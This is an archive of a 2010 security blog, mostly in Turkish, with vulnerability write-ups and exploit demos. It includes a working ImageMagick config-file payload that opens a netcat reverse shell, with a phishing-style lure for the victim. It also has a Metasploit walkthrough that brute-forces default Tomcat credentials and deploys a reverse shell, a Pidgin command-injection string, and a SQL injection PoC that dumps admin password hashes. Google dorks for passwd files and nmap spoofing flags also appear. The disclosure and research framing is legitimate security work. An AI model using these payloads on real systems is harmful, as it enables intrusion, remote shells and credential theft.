Thursday, December 30, 2010

Funny ImageMagic CMD Injection

Sometimes i don't read vendors vulnerability reports, because they are so boring and don't give technical information about vulnerability. Last day, i read Ubuntu Security Notice's vulnerability report and it seemed interesting. Firstly, i read description section, it says;
"It was discovered that ImageMagick would search for configuration files in
the current directory. If a user were tricked into opening or processing an
image in an arbitrary directory, a local attacker could execute arbitrary
code with the user's privileges." [1]

After that i search for CVE ID of vulnerability "CVE-2010-4167". If i don't find anything i will be review diff files. But debian bug tracking pages help me. [2]
I always belive that, bug tracking systems always very usefull for finding security bugs/developing exploits.

The opened issue was true, when you create config files and run imagemagic, imagemagic looks current directory for config files, so if you can able to create malicious config file or your target run "convert" binary with your malicious config file, you can execute commands with current user privileges.

We create malicious xml config files, they are execute commands on currents users context. In example, i execute netcat for getting a reverse shell -) I send mail them to my victim;
"Hello dear, i need to convert my png file to jpg and i can't access my computer now, can you do it for me? I attached the png file.."

If my victim open it (for this case he will open :P ) my arbitrary codes will be executed on system.

Victim:
[victim@vmware:~/img]$ unzip please_convert.zip
... snipped ...
[victim@vmware:~/img]$ convert x.png a.jpg
convert: unable to open image `/tmp/magick-XXFJtZIk': No such file or directory @ blob.c/OpenBlob/2480.
convert: unable to open file `/tmp/magick-XXFJtZIk': No such file or directory @ constitute.c/ReadImage/569.
convert: missing an image filename `a.jpg' @ convert.c/ConvertImageCommand/2838.


Attacker:
[cb@lab:~/imagemagic-Xploi7]$ nc.traditional -lvvp 1337
listening on [any] 1337 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 37267
ls
coder.xml
delegates.xml
sshoos
xploit.txt
x.png
echo "owned :P"
owned :P
exit
 sent 24, rcvd 57



Here is the example delegate.xml file:
<delegatemap>
<delegate decode='png' command="nc.traditional -e /bin/sh 127.0.0.1 1337"/>
</delegatemap>

and here is the example coder.xml file:
<codermap>
<coder magick='png' name='notpng'/>
</codermap>


Note: delegate.xml file needs coder.xml for executing by imagemagic.

References:
[1] - http://www.ubuntu.com/usn/usn-1028-1
[2] - http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=601824

Wednesday, December 29, 2010

Özgür Yazılım Günleri 2011

Özgür Yazılım Günleri 1-2 Nisan tarihlerinde, bir aksilik olmazsa bende katılacağım, katılacak arkadaşlarda isterlerse tanışma fırsatı yaratabiliriz. Sağ tarafada destek için logoyu koydum, merak edenler tıklasın okusun incelesin öğrensin.

Neyse görüşmek üzere :)

Thursday, December 16, 2010

Gelişmiş File Inclusion Saldırıları

Daha önceden yazdığım bir makale, ADEO Security Labs blogunda yayınlamıştık, sonunda PDF'e çevirip blogumada ekledim :>

Okumak isteyenler aşağıdaki adresten AFIA.pdf dosyasından erişebilirler.
https://sites.google.com/site/canberkbolat/papers

Saturday, December 11, 2010

awk awk

Yazmayali uzun zaman olmus :) awk ile ugrastim biraz cok eglenceli tavsiye edebilirim :) sunu yaptim kisaca; bir dizindeki mp3 dosyalarinin isimlerinden istenmeyen karakterleri yok ettim once ( "_" tiksindigim bi karakterdir). sed ile'de yapilabilir ben awk'la yaptim onu yazicam :]

ls | awk -F. '{a=$0; gsub(/_/," "); gsub(/-/," - "); print "mv \""a"\" \""$1".mp3\"";}' | sh

Güzel olsunlar diyede "-" karakterinin sagina ve solunada bosluk ekledim ayni komutla. Pipe'i bash'e yonlendirdimki mv komutlarini islesin. Daha sonra PHP'den aşina olunulan ucfirst uygulayayim dedim. awk'ta biraz gicikmis ucfirst turevi bi olay :) Onuda aşağıdaki komutla hallettim;

ls | awk -F. 'BEGIN {RS=" "; FS=""; ORS=" "; OFS="";} {$1=toupper($1); print $0;};' | awk -F. '{print "mv \""tolower($0)"\" \""$0"\""}' | sh

Tamamdirrr, artik dosyalarim istedigim gibi gozukuyor :)
hcr@world:~/desktop/Dexter - Soundtracks$ ls 01*
01 - Rolfe Kent - Dexter Main Title.mp3

Evet duzene ve kontrole cok onem veriyorum..

Tuesday, September 14, 2010

MySQL Session Hijacking over RFI

Yaklaşık 4 ay önce yayınlamıştım. Birkaç değişiklik yaptım, öyle ahım şahım değişiklikler değil blog adresimi düzenledim, kapanış paragrafını değiştirdim vs..

Tekrar yayınlayayım dedim malum eski blogu silince gitmişti. İyi/kötü fikiri olanlara saygı duyarım..

read:
http://sites.google.com/site/canberkbolat/papers/mysql_session_hijacking_over_rfi_v2.pdf

Pwning Tomcat in 2 Step

Kendimi toparladim yazmak için gücümü topladım, çok önemli olmasada 1-2 şey yazayım dedim:) Metasploit ile 2 adımda tomcat'i avlayabilirsiniz. Metasploit, Core Impact, Immunity Canvas gibi ürünler gerçekten "exploitation"a farklı bakış açıları getirdiler. Daha doğrusu kolaylaştırdılar.

Tomcat demişken aslında işin çoğunu yani bizi komut satırına düşüren olayı web uygulamasındaki zafiyetten yararlanarak yapıyoruz. O yüzden hafife almamak gerekir :) Başlıkta belirttiğim gibi 2 adımda iş bitiyor :) Ben hedef olarak sanal makine kullandım, bunu evde deneyin ama gerçek hedeflere karşı denemeyin :)

Adım 1
msf auxiliary(tomcat_administration) > use auxiliary/scanner/http/tomcat_mgr_login
msf auxiliary(tomcat_mgr_login) > set RHOSTS 192.168.10.30
RHOSTS => 192.168.10.30
msf auxiliary(tomcat_mgr_login) > set RPORT 8080
RPORT => 8080
msf auxiliary(tomcat_mgr_login) > exploit
...
[*] 10.29.1.28:8080 - Trying username:'tomcat' with password:'tomcat'
[+] http://192.168.10.30:8080/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] successful login 'tomcat' : 'tomcat'


Evet ilk adımda metasploit'in tomcat_mgr_login isimli auxiliary'si ile taradık default credential'a rastladık. 2.Adıma geçelim

Adım 2
msf auxiliary(tomcat_mgr_login) > use multi/http/tomcat_mgr_deploy
msf exploit(tomcat_mgr_deploy) > set RHOST 192.168.10.30
RHOST => 192.168.10.30
msf exploit(tomcat_mgr_deploy) > set PAYLOAD windows/shell_reverse_tcp
PAYLOAD => windows/shell_reverse_tcp
msf exploit(tomcat_mgr_deploy) > set LPORT 31337
LPORT => 31337
msf exploit(tomcat_mgr_deploy) > set PASSWORD tomcat
PASSWORD => tomcat
msf exploit(tomcat_mgr_deploy) > set USERNAME tomcat
USERNAME => tomcat
msf exploit(tomcat_mgr_deploy) > exploit

[*] Started reverse handler on 192.168.10.5:31337
[*] Attempting to automatically select a target...
[*] OK - Server info
[*] Tomcat Version: Apache Tomcat/5.5.20
[*] OS Name: Windows 2003
[*] OS Version: 5.2
[*] OS Architecture: x86
[*] JVM Version: 1.5.0_17-b04
[*] JVM Vendor: Sun Microsystems Inc.
[*] Automatically selected target "Windows Universal"
[*] Uploading 52046 bytes as AhWxbQ4DEmgEdFEL0.war ...
[*] Executing /AhWxbQ4DEmgEdFEL0/tACitOVwTthtAu4gWlhkPiB.jsp...
[*] Command shell session 6 opened (192.168.10.5:31337 -> 192.168.10.30:3973) at 2010-08-20 11:16:48 +0300
[*] Undeploying AhWxbQ4DEmgEdFEL0 ...





Gerisi artık size kalmış, hadi bana eyv. :)

Monday, September 13, 2010

Funny Command Injection in Pidgin

Today @_ikki tweet about this funny "fail" bug.Pidgins knotify plugin have remote command injection vulnerability. When you type some commands to your victim its executed with current users local priveliges. Its funny!! :>

--[src/pidgin-knotify.c:71-74]--
command = g_strdup_printf("kdialog --title '%s' --passivepopup '%s' %d", title,
body, timeout);
[...]
result = system(command);
--snip--


Exploitation:
Type your friend who use knotifies old version --> ';COMMAND;'

Reference:
https://bugs.gentoo.org/show_bug.cgi?id=336916

i'm still alive..

hayattayim.. aklima geldikcede birseyler yazicam.. guzel bir parca paylasayim bari :>

Thursday, September 2, 2010

plan9 gethostbyname off-by-one :)

struct servent*
getservbyname(char *name, char *proto)
{
...
static char buf[1024];
...
/* construct the query, always expect an ip# back */
if(num)
snprintf(buf, sizeof buf, "!port=%s %s=*", name, proto);
else
snprintf(buf, sizeof buf, "!%s=%s port=*", proto, name);
...
}

hali hazirda plan9 isletim sistemi olanlar deneyip teyit edebilir ben denemedim sadece Google'da rastladım bir blogdan :)

http://plan9.bell-labs.com/sources/plan9/sys/src/ape/lib/bsd/getservbyname.c

@HellCode Research: "plan9'la ugrasiyordunuz bir goz atarmisiniz :)"

Tuesday, August 31, 2010

why i love linux


question: why do you love linux?
answer: because it make my job easy


i'm so so so love linux when i need to resize and rotate 250+ picture :>



#!/usr/bin/env ruby

for i in (1..272)

    `convert Untitled-#{i.to_s}.jpg -resize 2121x1500 -rotate 270 oki-doki/Untitled-#{i.to_s}.jpg`

end




only 3 lines make it for you.. 'll love it forever :))

Monday, August 30, 2010

Web Uygulama Güvenliği Kontrol Listesi 2010

OWASP-TR/WGT mail listelerini takip edenler checklist projesinin varlığını ve çalışmalarını bilirler. "Community"e faydalı olması adına "birkaç iyi adam"ın çalışması ile bir web uygulama güvenliği checklist'i oluşturuldu. Checklist pdf olarak aşağıdaki bağlantıdan temin edilebilir.

Download
http://www.webguvenligi.org/docs/web_uygulama_guvenligi_kontrol_listesi_2010.pdf

* Yazının devamında webguvenligi.org'daki bildiri metni vardır..

Web Güvenliği E-Dergi 6.sayı


Web Güvenliği Topluluğu e-derginin 6.sayısını çıkardı. Bu sayıda benimde kısa bir yazım var CTF'in çözümüyle ilgili. Dergiye aşağıdaki adresten ulaşabilirsiniz. İyi okumalar :)

http://dergi.webguvenligi.org

www.webguvenligi.org sitesinden;
"Web güvenliği bilincini arttırmak amacıyla, 2009 Ağustos ayında ilk sayısını yayınladığımız web güvenliği e-dergi`nin 6. sayısını yayınlamış bulunuyoruz. Bu sayede bir yılını dolduran dergimizin ilk yılı vesilesi ile “Web Uygulama Güvenliği Kontrol Listesi 2010” adlı web uygulama güvenliği konulu bir check list yayınlıyoruz.

E-dergi projesinin ilk yılı bir birinden değerli arkadaşlarımızın yazıları ile renk kazandı. Umarım siz değerli okurların da katkısıyla bu zenginlik artarak devam eder.

Tüm geri bildirim yapan okurlarımıza ve dergi hazırlanışında emeği geçen herkese ve yardımcılara teşekkür ederiz."

Friday, August 27, 2010

php 5.3.3 ibase_gen_id() off-by-one

Selamlar günlük. Gönül isterdiki şok bir gelişme ile giriş yapayım :) Var aslında gelişmeler ama şuan için belirginleşmeden birşeyler yazmayayım. php ibase_gen_id fonksiyonunda off-by-one zafiyeti raporlamıştım. Ona kısaca değineyim istedim buradan hemde günlük boş boş durmasın ara sıra yazmak lazım :> Verdiğim PoC yerelde bir taşma yapıyor, eğer bir uygulama kullanıyorsa ve girilen parametre kullanıcı kontrollü ise uzaktan da exploit edilebilir. En ilginç geleni ise arka planda fonksiyonda Firebird/Interbase SQL sorgusu çalıştırılıyor ve kullanıcı buna müdahele ediyor. Firebird/Interbase SQL sorguları ile komut çalıştırmaya izin veriyorsa kod çalıştırmakta mümkün olabilir yada open basedir, safe mode çalıştırılan SQL sorguları ile aşılabilir. Vakit bulunca bu konuyada yoğunlaşıcam. Patch olarak aşağıdaki gibi birşey uygulanabilir.

--- [1] snprintf(query, sizeof(query), "SELECT GEN_ID(%s,%ld) FROM rdb$database", generator, inc);
+++ [2] snprintf(query, sizeof(query) - 1, "SELECT GEN_ID(%s,%ld) FROM rdb$database", generator, inc);

Advisory
http://www.exploit-db.com/exploits/14678/

PoC
http://www.exploit-db.com/sploits/ibase_gen_id_poc.zip

Thursday, July 22, 2010

[Analiz] Yet Another Remote Command Execution

Yine bir Remote Command Execution analizi ile karşındayım blog :) Code Injection yada RCE olarak sınıflandırabilirim sanırım bu zafiyeti. Herneyse kaynak kodu incelemeye başlayayım.


xxxxxxxxxxxx.php
...
$command = 'HTTP_COOKIE="'.getStringFromServer('HTTP_COOKIE').'" '.
'REMOTE_ADDR="'.getStringFromServer('REMOTE_ADDR').'" '.
'QUERY_STRING="'.$query_string.'" '.
'SERVER_SOFTWARE="'.getStringFromServer('SERVER_SOFTWARE').'" '.
'SCRIPT_NAME="'.getStringFromServer('SCRIPT_NAME').'" '.
'HTTP_USER_AGENT="'.getStringFromServer('HTTP_USER_AGENT').'" '.
'HTTP_ACCEPT_ENCODING="'.getStringFromServer('HTTP_ACCEPT_ENCODING').'" '.
'HTTP_ACCEPT_LANGUAGE="'.getStringFromServer('HTTP_ACCEPT_LANGUAGE').'" '.
'PATH_INFO="'.$path.'" '.
'PATH="'.getStringFromServer('PATH').'" '.
'HTTP_HOST="'.getStringFromServer('HTTP_HOST').'" '.
'DOCUMENT_ROOT="'.getStringFromServer('DOCUMENT_ROOT').'" '.
...
passthru($command);
...


getStringFromServer fonksiyonunda herhangi gibi bir filtreleme vs.. yok. Daha da konuşmaya gerek yok zaten :) HTTP başlıklarıyla (örn: Cookie, User-Agent, Accept-Encoding, Accept-Language) hedef üzerinde komut çalıştırabilirsiniz. Exploit? 1-2 güne bir reverse shell hortlatan bir remote exploit yazar yayınlarım herhalde. Az da olsa deneyimlerimden yola çıkarak belirtiyorum ki, web uygulamalarını ve zafiyetlerini hafife almamak gerekir.

cb

[video] Windows .LNK Exploitation w/ Metasploit

Windows .LNK [CVE-2010-2568] Exploitation w/ Metasploit video 

http://vimeo.com/13513973

CVE-2010-2568 malum yeni çıktı taze taze ve bence bu senenin pwnie awards kazanması gereken açıklarından bir tanesi :) Metasploit hemen güncelleme ile exploit için modülü bizlere sunmuş. Bende kısa bir video ile olayı "demonstrate" ettim. İyi seyirler :) 


Umarım vaktim ve şevkim oldukça metasploitle ilgili yeni video'lar hazırlarım.


hoşçakalın :)

Saturday, July 17, 2010

[Analiz] Remote Command Execution

Selamlar günlük,
Yayınlanan advisory [1] için kısa bir analiz yapayım dedim iyide ettim herhalde çok sık yazamıyorum malum vakit ayıramıyorum yada üşeniyorum :) neyse az laf çok iş diyerekten girişiyorum analize çok konuştum yine :]

modules/gnupg/json.php:
...
$data = $gnupg->export($_REQUEST['fingerprint']);
...


Görüldüğü üzere export methodu parametre olarak 'fingerprint' isimli HTTP isteğiyle birlikte çağırılıyor. Birde export methoduna göz atalım. Açıkca söyleyeyim bu zafiyeti bulmam 4 yada 5 dakika mı aldı tabi yayınlamak daha uzun sürdü, biraz üşengeçlik biraz vendor'u bekleme vs... gerçi vendor geri dönmedi o da ayrı bir meselede :))

Thursday, July 8, 2010

[Analiz] WikiWebHelp SQLi Vuln

Selamlar blogum ve varsa eğer okuyucularım :] geçen gün ki advisory'nin basit bir analizini yapayım dedim hemde blog boş durmasın :)) getpage.php dosyasında id parametresi olduğu gibi SQL koduna dahil ediliyor herşey bundan ibaret :))

handlers/getpage.php
---[snip]---
4 if($page==null) $page = $_GET['id'];
5
6 $sql = "SELECT * FROM page INNER JOIN node ON node.node_id=page.node_id WHERE node.node_id=$page";
---[snip]---


# PoC:
Request: http://server/handlers/getpage.php?id=9999999+UNION+SELECT+1,CONCAT_WS(0x3a,user_name,password),3,4,5,6,7
+FROM+user+LIMIT+1

Response: admin:21232f297a57a5a743894a0e4a801fc3

Daha "hardcoded" exploit'ler ve vulnerability'ler bulurumda buraya yazarım umarım :}

ciao..

Monday, July 5, 2010

[Analiz] Simple:Press WP Plugin SQL Inj.

Advisory'e buradan [1] ulaşabilirsiniz.
sf-header-forum.php
---[snip]---
...
389 if(isset($_GET['value']) ? $sfvars['searchvalue'] = stripslashes(urldecode($_GET['value'])) : $sfvars['searchvalue'] = '');
...
---[snip]---

Global değişkenler kullanılmış ve ataması yapılırken $sfvars['searchvalue'] değeri kontrol edilmeden atanmış. Daha sonra bu global değişken birazdan göstereceğim şekilde sql sorgularının içinde kullanılmış. ve öldürücü nokta; "no single qoutes" :)

Global değişkenler kullanmak aslında riskli bir durum. Çünkü örnekteki gibi biryerde atamasını yaptığınız zaman kullanırken nerde ne ataması yaptığınızı unutup kullanabiliyorsunuz. Bu tamamen güvenlikte insan faktörüyle ilgili birşey. İnsan unutabilir, insan kusursuz değil.

sf-database.php
---[snip]---
...
401 $searchvalue=urldecode($sfvars['searchvalue']);
...
404 if($sfvars['searchtype'] == 6)
...
409 $ANDWHERE = " AND topic_status_flag=".$sfvars['searchvalue']." ";
410
411 } elseif($sfvars['searchtype'] == 8)
...
414 $userid = $sfvars['searchvalue'];
415 $SELECT = "SELECT SQL_CALC_FOUND_ROWS DISTINCT ";
416 $MATCH = "";
417 $ANDWHERE = " AND ".SFPOSTS.".user_id=".$userid." ";
418
419 } elseif($sfvars['searchtype'] == 9)
...
422 $userid = $sfvars['searchvalue'];
...
425 $ANDWHERE = " AND ".SFTOPICS.".user_id=".$userid." ";
...
---[snip]---

Görüldüğü gibi kalın olarak işaretlenmiş satırlarda değişkenler tek tırnak kullanılmadan sorgulara dahil edilmiş buda zafiyetin ortaya çıkmasına sebep oluyor. Vendor istediği kadar tüm GET, POST vs.. dizilerini filterelesin, tek tırnak faktörü olmadığı zaman hiçbir işe yaramıyor bu çabalar :) benzer bir webERP advisory'sinde de vardı ve vendor ısrarla tüm GET, POST dizilerini filtrelediğini ısrar ediyordu. Noldu? Video çektik yolladık başarıyla exploit ettik hehe :)

[1] http://www.exploit-db.com/exploits/14198/

Thursday, July 1, 2010

Temel nmap komutları

******************************************
Temel nmap kullanımı | cb a.k.a hc0de
******************************************

1) nmap ile tarama teknikleri
{TCP}
-sS: SYN
-sT: Connect()
-sA: ACK
-sW: Window
-sM: Maimon
-sN: NULL
-sF: FIN
-sX: Xmas
{UDP}
-sU: UDP
{HOST Keşfi}
-sP: Ping Tarama

2) nmap ile port aralıkları tarama
-p1-65535


devam için tıklayınız..
3) nmap ile keşif
-sV: Açık portlar üzerinden servis/versiyon keşfi

4) nmap ile OS keşfi
-O parametresiyle

5) nmap ile spoofing
-S IP_ADDR - Kaynak adresi spoof eder
--ttl VAL - IP'nin time-to-live değeri
--spoof-mac

6) nmap ile output logging
-oN: Normal
-oX: XML Formatında
-oG: "grep"lenebilir
-vv: Daha fazla açıklama

7) ortaya karışık
-6: IPv6 tarama
-A: OS, versiyon, script ve traceroute tarama açık tarama
-T: -T<0-5> şeklinde bir kullanımı varmış, ne kadar yüksek bir değer verirseniz o kadar hızlı tararmış (manuel öyle söyledi)

Yeni bir teknik BSQLi Optimizasyonu

MySQL üzerinde BSQLi saldırılarının nasıl daha az istek ile sonuca ulaşabileceği üzerine yaptığım araştırmayı dökümante etmiştim, sağolsun OWASP/TR makalemi yayınladı. Buradan okuyabilirsiniz, http://bit.ly/cTD1DP :)

Google Hacking

ext:txt inurl:"robots"

ile robots.txt'ler güzelce bulunuyor. En ilgincide;
ext:txt inurl:"passwd"
lol

Merhaba dünya

Çok klişe bir şekilde ilk blog postumu girmiş bulunmaktayım. Kalın sağlıcakla :}